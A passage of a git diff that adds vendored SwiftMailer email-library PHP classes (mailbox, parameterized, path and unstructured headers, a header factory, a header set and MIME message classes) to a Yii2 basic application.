((array) $addresses as $address) { + unset($this->_mailboxes[$address]); + } + } + + /** + * Get the string value of the body in this Header. + * + * This is not necessarily RFC 2822 compliant since folding white space will + * not be added at this stage (see {@link toString()} for that). + * + * @see toString() + * + * @return string + * + * @throws Swift_RfcComplianceException + */ + public function getFieldBody() + { + // Compute the string value of the header only if needed + if (is_null($this->getCachedValue())) { + $this->setCachedValue($this->createMailboxListString($this->_mailboxes)); + } + + return $this->getCachedValue(); + } + + // -- Points of extension + + /** + * Normalizes a user-input list of mailboxes into consistent key=>value pairs. + * + * @param string[] $mailboxes + * + * @return string[] + */ + protected function normalizeMailboxes(array $mailboxes) + { + $actualMailboxes = array(); + + foreach ($mailboxes as $key => $value) { + if (is_string($key)) { + //key is email addr + $address = $key; + $name = $value; + } else { + $address = $value; + $name = null; + } + $this->_assertValidAddress($address); + $actualMailboxes[$address] = $name; + } + + return $actualMailboxes; + } + + /** + * Produces a compliant, formatted display-name based on the string given. + * + * @param string $displayName as displayed + * @param bool $shorten the first line to make remove for header name + * + * @return string + */ + protected function createDisplayNameString($displayName, $shorten = false) + { + return $this->createPhrase($this, $displayName, + $this->getCharset(), $this->getEncoder(), $shorten + ); + } + + /** + * Creates a string form of all the mailboxes in the passed array. + * + * @param string[] $mailboxes + * + * @return string + * + * @throws Swift_RfcComplianceException + */ + protected function createMailboxListString(array $mailboxes) + { + return implode(', ', $this->_createNameAddressStrings($mailboxes)); + } + + /** + * Redefine the encoding requirements for mailboxes. + * + * Commas and semicolons are used to separate + * multiple addresses, and should therefore be encoded + * + * @param string $token + * + * @return bool + */ + protected function tokenNeedsEncoding($token) + { + return preg_match('/[,;]/', $token) || parent::tokenNeedsEncoding($token); + } + + /** + * Return an array of strings conforming the the name-addr spec of RFC 2822. + * + * @param string[] $mailboxes + * + * @return string[] + */ + private function _createNameAddressStrings(array $mailboxes) + { + $strings = array(); + + foreach ($mailboxes as $email => $name) { + $mailboxStr = $email; + if (!is_null($name)) { + $nameStr = $this->createDisplayNameString($name, empty($strings)); + $mailboxStr = $nameStr.' <'.$mailboxStr.'>'; + } + $strings[] = $mailboxStr; + } + + return $strings; + } + + /** + * Throws an Exception if the address passed does not comply with RFC 2822. + * + * @param string $address + * + * @throws Swift_RfcComplianceException If invalid. + */ + private function _assertValidAddress($address) + { + if (!preg_match('/^'.$this->getGrammar()->getDefinition('addr-spec').'$/D', + $address)) { + throw new Swift_RfcComplianceException( + 'Address in mailbox given ['.$address. + '] does not comply with RFC 2822, 3.6.2.' + ); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/OpenDKIMHeader.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/OpenDKIMHeader.php new file mode 100644 index 00000000..b55d4609 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/OpenDKIMHeader.php @@ -0,0 +1,135 @@ + + */ +class Swift_Mime_Headers_OpenDKIMHeader implements Swift_Mime_Header +{ + /** + * The value of this Header. + * + * @var string + */ + private $_value; + + /** + * The name of this Header + * @var string + */ + private $_fieldName; + + /** + * Creates a new SimpleHeader with $name. + * + * @param string $name + * @param Swift_Mime_HeaderEncoder $encoder + * @param Swift_Mime_Grammar $grammar + */ + public function __construct($name) + { + $this->_fieldName = $name; + } + + /** + * Get the type of Header that this instance represents. + * + * @see TYPE_TEXT, TYPE_PARAMETERIZED, TYPE_MAILBOX + * @see TYPE_DATE, TYPE_ID, TYPE_PATH + * + * @return int + */ + public function getFieldType() + { + return self::TYPE_TEXT; + } + + /** + * Set the model for the field body. + * + * This method takes a string for the field value. + * + * @param string $model + */ + public function setFieldBodyModel($model) + { + $this->setValue($model); + } + + /** + * Get the model for the field body. + * + * This method returns a string. + * + * @return string + */ + public function getFieldBodyModel() + { + return $this->getValue(); + } + + /** + * Get the (unencoded) value of this header. + * + * @return string + */ + public function getValue() + { + return $this->_value; + } + + /** + * Set the (unencoded) value of this header. + * + * @param string $value + */ + public function setValue($value) + { + $this->_value = $value; + } + + /** + * Get the value of this header prepared for rendering. + * + * @return string + */ + public function getFieldBody() + { + return $this->_value; + } + + /** + * Get this Header rendered as a RFC 2822 compliant string. + * + * @return string + */ + public function toString() + { + return $this->_fieldName.': '.$this->_value; + } + + /** + * Set the Header FieldName + * @see Swift_Mime_Header::getFieldName() + */ + public function getFieldName() + { + return $this->_fieldName; + } + + /** + * Ignored + */ + public function setCharset($charset) + { + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/ParameterizedHeader.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/ParameterizedHeader.php new file mode 100644 index 00000000..994fc940 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/ParameterizedHeader.php @@ -0,0 +1,260 @@ +_paramEncoder = $paramEncoder; + } + + /** + * Get the type of Header that this instance represents. + * + * @see TYPE_TEXT, TYPE_PARAMETERIZED, TYPE_MAILBOX + * @see TYPE_DATE, TYPE_ID, TYPE_PATH + * + * @return int + */ + public function getFieldType() + { + return self::TYPE_PARAMETERIZED; + } + + /** + * Set the character set used in this Header. + * + * @param string $charset + */ + public function setCharset($charset) + { + parent::setCharset($charset); + if (isset($this->_paramEncoder)) { + $this->_paramEncoder->charsetChanged($charset); + } + } + + /** + * Set the value of $parameter. + * + * @param string $parameter + * @param string $value + */ + public function setParameter($parameter, $value) + { + $this->setParameters(array_merge($this->getParameters(), array($parameter => $value))); + } + + /** + * Get the value of $parameter. + * + * @param string $parameter + * + * @return string + */ + public function getParameter($parameter) + { + $params = $this->getParameters(); + + return array_key_exists($parameter, $params) + ? $params[$parameter] + : null; + } + + /** + * Set an associative array of parameter names mapped to values. + * + * @param string[] $parameters + */ + public function setParameters(array $parameters) + { + $this->clearCachedValueIf($this->_params != $parameters); + $this->_params = $parameters; + } + + /** + * Returns an associative array of parameter names mapped to values. + * + * @return string[] + */ + public function getParameters() + { + return $this->_params; + } + + /** + * Get the value of this header prepared for rendering. + * + * @return string + */ + public function getFieldBody() //TODO: Check caching here + { + $body = parent::getFieldBody(); + foreach ($this->_params as $name => $value) { + if (!is_null($value)) { + // Add the parameter + $body .= '; '.$this->_createParameter($name, $value); + } + } + + return $body; + } + + /** + * Generate a list of all tokens in the final header. + * + * This doesn't need to be overridden in theory, but it is for implementation + * reasons to prevent potential breakage of attributes. + * + * @param string $string The string to tokenize + * + * @return array An array of tokens as strings + */ + protected function toTokens($string = null) + { + $tokens = parent::toTokens(parent::getFieldBody()); + + // Try creating any parameters + foreach ($this->_params as $name => $value) { + if (!is_null($value)) { + // Add the semi-colon separator + $tokens[count($tokens)-1] .= ';'; + $tokens = array_merge($tokens, $this->generateTokenLines( + ' '.$this->_createParameter($name, $value) + )); + } + } + + return $tokens; + } + + /** + * Render a RFC 2047 compliant header parameter from the $name and $value. + * + * @param string $name + * @param string $value + * + * @return string + */ + private function _createParameter($name, $value) + { + $origValue = $value; + + $encoded = false; + // Allow room for parameter name, indices, "=" and DQUOTEs + $maxValueLength = $this->getMaxLineLength() - strlen($name.'=*N"";') - 1; + $firstLineOffset = 0; + + // If it's not already a valid parameter value... + if (!preg_match('/^'.self::TOKEN_REGEX.'$/D', $value)) { + // TODO: text, or something else?? + // ... and it's not ascii + if (!preg_match('/^'.$this->getGrammar()->getDefinition('text').'*$/D', $value)) { + $encoded = true; + // Allow space for the indices, charset and language + $maxValueLength = $this->getMaxLineLength() - strlen($name.'*N*="";') - 1; + $firstLineOffset = strlen( + $this->getCharset()."'".$this->getLanguage()."'" + ); + } + } + + // Encode if we need to + if ($encoded || strlen($value) > $maxValueLength) { + if (isset($this->_paramEncoder)) { + $value = $this->_paramEncoder->encodeString( + $origValue, $firstLineOffset, $maxValueLength, $this->getCharset() + ); + } else { + // We have to go against RFC 2183/2231 in some areas for interoperability + $value = $this->getTokenAsEncodedWord($origValue); + $encoded = false; + } + } + + $valueLines = isset($this->_paramEncoder) ? explode("\r\n", $value) : array($value); + + // Need to add indices + if (count($valueLines) > 1) { + $paramLines = array(); + foreach ($valueLines as $i => $line) { + $paramLines[] = $name.'*'.$i. + $this->_getEndOfParameterValue($line, true, $i == 0); + } + + return implode(";\r\n ", $paramLines); + } else { + return $name.$this->_getEndOfParameterValue( + $valueLines[0], $encoded, true + ); + } + } + + /** + * Returns the parameter value from the "=" and beyond. + * + * @param string $value to append + * @param bool $encoded + * @param bool $firstLine + * + * @return string + */ + private function _getEndOfParameterValue($value, $encoded = false, $firstLine = false) + { + if (!preg_match('/^'.self::TOKEN_REGEX.'$/D', $value)) { + $value = '"'.$value.'"'; + } + $prepend = '='; + if ($encoded) { + $prepend = '*='; + if ($firstLine) { + $prepend = '*='.$this->getCharset()."'".$this->getLanguage(). + "'"; + } + } + + return $prepend.$value; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/PathHeader.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/PathHeader.php new file mode 100644 index 00000000..eea9a9ee --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/PathHeader.php @@ -0,0 +1,143 @@ +setFieldName($name); + parent::__construct($grammar); + } + + /** + * Get the type of Header that this instance represents. + * + * @see TYPE_TEXT, TYPE_PARAMETERIZED, TYPE_MAILBOX + * @see TYPE_DATE, TYPE_ID, TYPE_PATH + * + * @return int + */ + public function getFieldType() + { + return self::TYPE_PATH; + } + + /** + * Set the model for the field body. + * This method takes a string for an address. + * + * @param string $model + * + * @throws Swift_RfcComplianceException + */ + public function setFieldBodyModel($model) + { + $this->setAddress($model); + } + + /** + * Get the model for the field body. + * This method returns a string email address. + * + * @return mixed + */ + public function getFieldBodyModel() + { + return $this->getAddress(); + } + + /** + * Set the Address which should appear in this Header. + * + * @param string $address + * + * @throws Swift_RfcComplianceException + */ + public function setAddress($address) + { + if (is_null($address)) { + $this->_address = null; + } elseif ('' == $address) { + $this->_address = ''; + } else { + $this->_assertValidAddress($address); + $this->_address = $address; + } + $this->setCachedValue(null); + } + + /** + * Get the address which is used in this Header (if any). + * + * Null is returned if no address is set. + * + * @return string + */ + public function getAddress() + { + return $this->_address; + } + + /** + * Get the string value of the body in this Header. + * + * This is not necessarily RFC 2822 compliant since folding white space will + * not be added at this stage (see {@link toString()} for that). + * + * @see toString() + * + * @return string + */ + public function getFieldBody() + { + if (!$this->getCachedValue()) { + if (isset($this->_address)) { + $this->setCachedValue('<'.$this->_address.'>'); + } + } + + return $this->getCachedValue(); + } + + /** + * Throws an Exception if the address passed does not comply with RFC 2822. + * + * @param string $address + * + * @throws Swift_RfcComplianceException If address is invalid + */ + private function _assertValidAddress($address) + { + if (!preg_match('/^'.$this->getGrammar()->getDefinition('addr-spec').'$/D', + $address)) { + throw new Swift_RfcComplianceException( + 'Address set in PathHeader does not comply with addr-spec of RFC 2822.' + ); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/UnstructuredHeader.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/UnstructuredHeader.php new file mode 100644 index 00000000..41d4e63d --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Headers/UnstructuredHeader.php @@ -0,0 +1,112 @@ +setFieldName($name); + $this->setEncoder($encoder); + parent::__construct($grammar); + } + + /** + * Get the type of Header that this instance represents. + * + * @see TYPE_TEXT, TYPE_PARAMETERIZED, TYPE_MAILBOX + * @see TYPE_DATE, TYPE_ID, TYPE_PATH + * + * @return int + */ + public function getFieldType() + { + return self::TYPE_TEXT; + } + + /** + * Set the model for the field body. + * + * This method takes a string for the field value. + * + * @param string $model + */ + public function setFieldBodyModel($model) + { + $this->setValue($model); + } + + /** + * Get the model for the field body. + * + * This method returns a string. + * + * @return string + */ + public function getFieldBodyModel() + { + return $this->getValue(); + } + + /** + * Get the (unencoded) value of this header. + * + * @return string + */ + public function getValue() + { + return $this->_value; + } + + /** + * Set the (unencoded) value of this header. + * + * @param string $value + */ + public function setValue($value) + { + $this->clearCachedValueIf($this->_value != $value); + $this->_value = $value; + } + + /** + * Get the value of this header prepared for rendering. + * + * @return string + */ + public function getFieldBody() + { + if (!$this->getCachedValue()) { + $this->setCachedValue( + $this->encodeWords($this, $this->_value) + ); + } + + return $this->getCachedValue(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Message.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Message.php new file mode 100644 index 00000000..29bc4b33 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/Message.php @@ -0,0 +1,223 @@ + 'Real Name'). + * + * If the second parameter is provided and the first is a string, then $name + * is associated with the address. + * + * @param mixed $address + * @param string $name optional + */ + public function setSender($address, $name = null); + + /** + * Get the sender address for this message. + * + * This has a higher significance than the From address. + * + * @return string + */ + public function getSender(); + + /** + * Set the From address of this message. + * + * It is permissible for multiple From addresses to be set using an array. + * + * If multiple From addresses are used, you SHOULD set the Sender address and + * according to RFC 2822, MUST set the sender address. + * + * An array can be used if display names are to be provided: i.e. + * array('email@address.com' => 'Real Name'). + * + * If the second parameter is provided and the first is a string, then $name + * is associated with the address. + * + * @param mixed $addresses + * @param string $name optional + */ + public function setFrom($addresses, $name = null); + + /** + * Get the From address(es) of this message. + * + * This method always returns an associative array where the keys are the + * addresses. + * + * @return string[] + */ + public function getFrom(); + + /** + * Set the Reply-To address(es). + * + * Any replies from the receiver will be sent to this address. + * + * It is permissible for multiple reply-to addresses to be set using an array. + * + * This method has the same synopsis as {@link setFrom()} and {@link setTo()}. + * + * If the second parameter is provided and the first is a string, then $name + * is associated with the address. + * + * @param mixed $addresses + * @param string $name optional + */ + public function setReplyTo($addresses, $name = null); + + /** + * Get the Reply-To addresses for this message. + * + * This method always returns an associative array where the keys provide the + * email addresses. + * + * @return string[] + */ + public function getReplyTo(); + + /** + * Set the To address(es). + * + * Recipients set in this field will receive a copy of this message. + * + * This method has the same synopsis as {@link setFrom()} and {@link setCc()}. + * + * If the second parameter is provided and the first is a string, then $name + * is associated with the address. + * + * @param mixed $addresses + * @param string $name optional + */ + public function setTo($addresses, $name = null); + + /** + * Get the To addresses for this message. + * + * This method always returns an associative array, whereby the keys provide + * the actual email addresses. + * + * @return string[] + */ + public function getTo(); + + /** + * Set the Cc address(es). + * + * Recipients set in this field will receive a 'carbon-copy' of this message. + * + * This method has the same synopsis as {@link setFrom()} and {@link setTo()}. + * + * @param mixed $addresses + * @param string $name optional + */ + public function setCc($addresses, $name = null); + + /** + * Get the Cc addresses for this message. + * + * This method always returns an associative array, whereby the keys provide + * the actual email addresses. + * + * @return string[] + */ + public function getCc(); + + /** + * Set the Bcc address(es). + * + * Recipients set in this field will receive a 'blind-carbon-copy' of this + * message. + * + * In other words, they will get the message, but any other recipients of the + * message will have no such knowledge of their receipt of it. + * + * This method has the same synopsis as {@link setFrom()} and {@link setTo()}. + * + * @param mixed $addresses + * @param string $name optional + */ + public function setBcc($addresses, $name = null); + + /** + * Get the Bcc addresses for this message. + * + * This method always returns an associative array, whereby the keys provide + * the actual email addresses. + * + * @return string[] + */ + public function getBcc(); +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/MimeEntity.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/MimeEntity.php new file mode 100644 index 00000000..cd8b8a2b --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/MimeEntity.php @@ -0,0 +1,115 @@ +setContentType('text/plain'); + if (!is_null($charset)) { + $this->setCharset($charset); + } + } + + /** + * Set the body of this entity, either as a string, or as an instance of + * {@link Swift_OutputByteStream}. + * + * @param mixed $body + * @param string $contentType optional + * @param string $charset optional + * + * @return Swift_Mime_MimePart + */ + public function setBody($body, $contentType = null, $charset = null) + { + if (isset($charset)) { + $this->setCharset($charset); + } + $body = $this->_convertString($body); + + parent::setBody($body, $contentType); + + return $this; + } + + /** + * Get the character set of this entity. + * + * @return string + */ + public function getCharset() + { + return $this->_getHeaderParameter('Content-Type', 'charset'); + } + + /** + * Set the character set of this entity. + * + * @param string $charset + * + * @return Swift_Mime_MimePart + */ + public function setCharset($charset) + { + $this->_setHeaderParameter('Content-Type', 'charset', $charset); + if ($charset !== $this->_userCharset) { + $this->_clearCache(); + } + $this->_userCharset = $charset; + parent::charsetChanged($charset); + + return $this; + } + + /** + * Get the format of this entity (i.e. flowed or fixed). + * + * @return string + */ + public function getFormat() + { + return $this->_getHeaderParameter('Content-Type', 'format'); + } + + /** + * Set the format of this entity (flowed or fixed). + * + * @param string $format + * + * @return Swift_Mime_MimePart + */ + public function setFormat($format) + { + $this->_setHeaderParameter('Content-Type', 'format', $format); + $this->_userFormat = $format; + + return $this; + } + + /** + * Test if delsp is being used for this entity. + * + * @return bool + */ + public function getDelSp() + { + return ($this->_getHeaderParameter('Content-Type', 'delsp') == 'yes') + ? true + : false; + } + + /** + * Turn delsp on or off for this entity. + * + * @param bool $delsp + * + * @return Swift_Mime_MimePart + */ + public function setDelSp($delsp = true) + { + $this->_setHeaderParameter('Content-Type', 'delsp', $delsp ? 'yes' : null); + $this->_userDelSp = $delsp; + + return $this; + } + + /** + * Get the nesting level of this entity. + * + * @see LEVEL_TOP, LEVEL_ALTERNATIVE, LEVEL_MIXED, LEVEL_RELATED + * + * @return int + */ + public function getNestingLevel() + { + return $this->_nestingLevel; + } + + /** + * Receive notification that the charset has changed on this document, or a + * parent document. + * + * @param string $charset + */ + public function charsetChanged($charset) + { + $this->setCharset($charset); + } + + /** Fix the content-type and encoding of this entity */ + protected function _fixHeaders() + { + parent::_fixHeaders(); + if (count($this->getChildren())) { + $this->_setHeaderParameter('Content-Type', 'charset', null); + $this->_setHeaderParameter('Content-Type', 'format', null); + $this->_setHeaderParameter('Content-Type', 'delsp', null); + } else { + $this->setCharset($this->_userCharset); + $this->setFormat($this->_userFormat); + $this->setDelSp($this->_userDelSp); + } + } + + /** Set the nesting level of this entity */ + protected function _setNestingLevel($level) + { + $this->_nestingLevel = $level; + } + + /** Encode charset when charset is not utf-8 */ + protected function _convertString($string) + { + $charset = strtolower($this->getCharset()); + if (!in_array($charset, array('utf-8', 'iso-8859-1', ''))) { + // mb_convert_encoding must be the first one to check, since iconv cannot convert some words. + if (function_exists('mb_convert_encoding')) { + $string = mb_convert_encoding($string, $charset, 'utf-8'); + } elseif (function_exists('iconv')) { + $string = iconv('utf-8//TRANSLIT//IGNORE', $charset, $string); + } else { + throw new Swift_SwiftException('No suitable convert encoding function (use UTF-8 as your charset or install the mbstring or iconv extension).'); + } + + return $string; + } + + return $string; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/ParameterizedHeader.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/ParameterizedHeader.php new file mode 100644 index 00000000..ea793201 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/ParameterizedHeader.php @@ -0,0 +1,34 @@ +_encoder = $encoder; + $this->_paramEncoder = $paramEncoder; + $this->_grammar = $grammar; + $this->_charset = $charset; + } + + /** + * Create a new Mailbox Header with a list of $addresses. + * + * @param string $name + * @param array|string|null $addresses + * + * @return Swift_Mime_Header + */ + public function createMailboxHeader($name, $addresses = null) + { + $header = new Swift_Mime_Headers_MailboxHeader($name, $this->_encoder, $this->_grammar); + if (isset($addresses)) { + $header->setFieldBodyModel($addresses); + } + $this->_setHeaderCharset($header); + + return $header; + } + + /** + * Create a new Date header using $timestamp (UNIX time). + * @param string $name + * @param int|null $timestamp + * + * @return Swift_Mime_Header + */ + public function createDateHeader($name, $timestamp = null) + { + $header = new Swift_Mime_Headers_DateHeader($name, $this->_grammar); + if (isset($timestamp)) { + $header->setFieldBodyModel($timestamp); + } + $this->_setHeaderCharset($header); + + return $header; + } + + /** + * Create a new basic text header with $name and $value. + * + * @param string $name + * @param string $value + * + * @return Swift_Mime_Header + */ + public function createTextHeader($name, $value = null) + { + $header = new Swift_Mime_Headers_UnstructuredHeader($name, $this->_encoder, $this->_grammar); + if (isset($value)) { + $header->setFieldBodyModel($value); + } + $this->_setHeaderCharset($header); + + return $header; + } + + /** + * Create a new ParameterizedHeader with $name, $value and $params. + * + * @param string $name + * @param string $value + * @param array $params + * + * @return Swift_Mime_ParameterizedHeader + */ + public function createParameterizedHeader($name, $value = null, + $params = array()) + { + $header = new Swift_Mime_Headers_ParameterizedHeader($name, + $this->_encoder, (strtolower($name) == 'content-disposition') + ? $this->_paramEncoder + : null, + $this->_grammar + ); + if (isset($value)) { + $header->setFieldBodyModel($value); + } + foreach ($params as $k => $v) { + $header->setParameter($k, $v); + } + $this->_setHeaderCharset($header); + + return $header; + } + + /** + * Create a new ID header for Message-ID or Content-ID. + * + * @param string $name + * @param string|array $ids + * + * @return Swift_Mime_Header + */ + public function createIdHeader($name, $ids = null) + { + $header = new Swift_Mime_Headers_IdentificationHeader($name, $this->_grammar); + if (isset($ids)) { + $header->setFieldBodyModel($ids); + } + $this->_setHeaderCharset($header); + + return $header; + } + + /** + * Create a new Path header with an address (path) in it. + * + * @param string $name + * @param string $path + * + * @return Swift_Mime_Header + */ + public function createPathHeader($name, $path = null) + { + $header = new Swift_Mime_Headers_PathHeader($name, $this->_grammar); + if (isset($path)) { + $header->setFieldBodyModel($path); + } + $this->_setHeaderCharset($header); + + return $header; + } + + /** + * Notify this observer that the entity's charset has changed. + * + * @param string $charset + */ + public function charsetChanged($charset) + { + $this->_charset = $charset; + $this->_encoder->charsetChanged($charset); + $this->_paramEncoder->charsetChanged($charset); + } + + /** + * Make a deep copy of object + */ + public function __clone() + { + $this->_encoder = clone $this->_encoder; + $this->_paramEncoder = clone $this->_paramEncoder; + } + + /** Apply the charset to the Header */ + private function _setHeaderCharset(Swift_Mime_Header $header) + { + if (isset($this->_charset)) { + $header->setCharset($this->_charset); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/SimpleHeaderSet.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/SimpleHeaderSet.php new file mode 100644 index 00000000..b44a02ca --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/SimpleHeaderSet.php @@ -0,0 +1,396 @@ +_factory = $factory; + if (isset($charset)) { + $this->setCharset($charset); + } + } + + /** + * Set the charset used by these headers. + * + * @param string $charset + */ + public function setCharset($charset) + { + $this->_charset = $charset; + $this->_factory->charsetChanged($charset); + $this->_notifyHeadersOfCharset($charset); + } + + /** + * Add a new Mailbox Header with a list of $addresses. + * + * @param string $name + * @param array|string $addresses + */ + public function addMailboxHeader($name, $addresses = null) + { + $this->_storeHeader($name, + $this->_factory->createMailboxHeader($name, $addresses)); + } + + /** + * Add a new Date header using $timestamp (UNIX time). + * + * @param string $name + * @param int $timestamp + */ + public function addDateHeader($name, $timestamp = null) + { + $this->_storeHeader($name, + $this->_factory->createDateHeader($name, $timestamp)); + } + + /** + * Add a new basic text header with $name and $value. + * + * @param string $name + * @param string $value + */ + public function addTextHeader($name, $value = null) + { + $this->_storeHeader($name, + $this->_factory->createTextHeader($name, $value)); + } + + /** + * Add a new ParameterizedHeader with $name, $value and $params. + * + * @param string $name + * @param string $value + * @param array $params + */ + public function addParameterizedHeader($name, $value = null, $params = array()) + { + $this->_storeHeader($name, $this->_factory->createParameterizedHeader($name, $value, $params)); + } + + /** + * Add a new ID header for Message-ID or Content-ID. + * + * @param string $name + * @param string|array $ids + */ + public function addIdHeader($name, $ids = null) + { + $this->_storeHeader($name, $this->_factory->createIdHeader($name, $ids)); + } + + /** + * Add a new Path header with an address (path) in it. + * + * @param string $name + * @param string $path + */ + public function addPathHeader($name, $path = null) + { + $this->_storeHeader($name, $this->_factory->createPathHeader($name, $path)); + } + + /** + * Returns true if at least one header with the given $name exists. + * + * If multiple headers match, the actual one may be specified by $index. + * + * @param string $name + * @param int $index + * + * @return bool + */ + public function has($name, $index = 0) + { + $lowerName = strtolower($name); + + return array_key_exists($lowerName, $this->_headers) && array_key_exists($index, $this->_headers[$lowerName]); + } + + /** + * Set a header in the HeaderSet. + * + * The header may be a previously fetched header via {@link get()} or it may + * be one that has been created separately. + * + * If $index is specified, the header will be inserted into the set at this + * offset. + * + * @param Swift_Mime_Header $header + * @param int $index + */ + public function set(Swift_Mime_Header $header, $index = 0) + { + $this->_storeHeader($header->getFieldName(), $header, $index); + } + + /** + * Get the header with the given $name. + * + * If multiple headers match, the actual one may be specified by $index. + * Returns NULL if none present. + * + * @param string $name + * @param int $index + * + * @return Swift_Mime_Header + */ + public function get($name, $index = 0) + { + if ($this->has($name, $index)) { + $lowerName = strtolower($name); + + return $this->_headers[$lowerName][$index]; + } + } + + /** + * Get all headers with the given $name. + * + * @param string $name + * + * @return array + */ + public function getAll($name = null) + { + if (!isset($name)) { + $headers = array(); + foreach ($this->_headers as $collection) { + $headers = array_merge($headers, $collection); + } + + return $headers; + } + + $lowerName = strtolower($name); + if (!array_key_exists($lowerName, $this->_headers)) { + return array(); + } + + return $this->_headers[$lowerName]; + } + + /** + * Return the name of all Headers + * + * @return array + */ + public function listAll() + { + $headers = $this->_headers; + if ($this->_canSort()) { + uksort($headers, array($this, '_sortHeaders')); + } + + return array_keys($headers); + } + + /** + * Remove the header with the given $name if it's set. + * + * If multiple headers match, the actual one may be specified by $index. + * + * @param string $name + * @param int $index + */ + public function remove($name, $index = 0) + { + $lowerName = strtolower($name); + unset($this->_headers[$lowerName][$index]); + } + + /** + * Remove all headers with the given $name. + * + * @param string $name + */ + public function removeAll($name) + { + $lowerName = strtolower($name); + unset($this->_headers[$lowerName]); + } + + /** + * Create a new instance of this HeaderSet. + * + * @return Swift_Mime_HeaderSet + */ + public function newInstance() + { + return new self($this->_factory); + } + + /** + * Define a list of Header names as an array in the correct order. + * + * These Headers will be output in the given order where present. + * + * @param array $sequence + */ + public function defineOrdering(array $sequence) + { + $this->_order = array_flip(array_map('strtolower', $sequence)); + } + + /** + * Set a list of header names which must always be displayed when set. + * + * Usually headers without a field value won't be output unless set here. + * + * @param array $names + */ + public function setAlwaysDisplayed(array $names) + { + $this->_required = array_flip(array_map('strtolower', $names)); + } + + /** + * Notify this observer that the entity's charset has changed. + * + * @param string $charset + */ + public function charsetChanged($charset) + { + $this->setCharset($charset); + } + + /** + * Returns a string with a representation of all headers. + * + * @return string + */ + public function toString() + { + $string = ''; + $headers = $this->_headers; + if ($this->_canSort()) { + uksort($headers, array($this, '_sortHeaders')); + } + foreach ($headers as $collection) { + foreach ($collection as $header) { + if ($this->_isDisplayed($header) || $header->getFieldBody() != '') { + $string .= $header->toString(); + } + } + } + + return $string; + } + + /** + * Returns a string representation of this object. + * + * @return string + * + * @see toString() + */ + public function __toString() + { + return $this->toString(); + } + + /** Save a Header to the internal collection */ + private function _storeHeader($name, Swift_Mime_Header $header, $offset = null) + { + if (!isset($this->_headers[strtolower($name)])) { + $this->_headers[strtolower($name)] = array(); + } + if (!isset($offset)) { + $this->_headers[strtolower($name)][] = $header; + } else { + $this->_headers[strtolower($name)][$offset] = $header; + } + } + + /** Test if the headers can be sorted */ + private function _canSort() + { + return count($this->_order) > 0; + } + + /** uksort() algorithm for Header ordering */ + private function _sortHeaders($a, $b) + { + $lowerA = strtolower($a); + $lowerB = strtolower($b); + $aPos = array_key_exists($lowerA, $this->_order) + ? $this->_order[$lowerA] + : -1; + $bPos = array_key_exists($lowerB, $this->_order) + ? $this->_order[$lowerB] + : -1; + + if ($aPos == -1) { + return 1; + } elseif ($bPos == -1) { + return -1; + } + + return ($aPos < $bPos) ? -1 : 1; + } + + /** Test if the given Header is always displayed */ + private function _isDisplayed(Swift_Mime_Header $header) + { + return array_key_exists(strtolower($header->getFieldName()), $this->_required); + } + + /** Notify all Headers of the new charset */ + private function _notifyHeadersOfCharset($charset) + { + foreach ($this->_headers as $headerGroup) { + foreach ($headerGroup as $header) { + $header->setCharset($charset); + } + } + } + + /** + * Make a deep copy of object + */ + public function __clone() + { + $this->_factory = clone $this->_factory; + foreach ($this->_headers as $groupKey => $headerGroup) { + foreach ($headerGroup as $key => $header) { + $this->_headers[$groupKey][$key] = clone $header; + } + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/SimpleMessage.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/SimpleMessage.php new file mode 100644 index 00000000..16d8d091 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Mime/SimpleMessage.php @@ -0,0 +1,649 @@ +getHeaders()->defineOrdering(array( + 'Return-Path', + 'Received', + 'DKIM-Signature', + 'DomainKey-Signature', + 'Sender', + 'Message-ID', + 'Date', + 'Subject', + 'From', + 'Reply-To', + 'To', + 'Cc', + 'Bcc', + 'MIME-Version', + 'Content-Type', + 'Content-Transfer-Encoding', + )); + $this->getHeaders()->setAlwaysDisplayed(array('Date', 'Message-ID', 'From')); + $this->getHeaders()->addTextHeader('MIME-Version', '1.0'); + $this->setDate(time()); + $this->setId($this->getId()); + 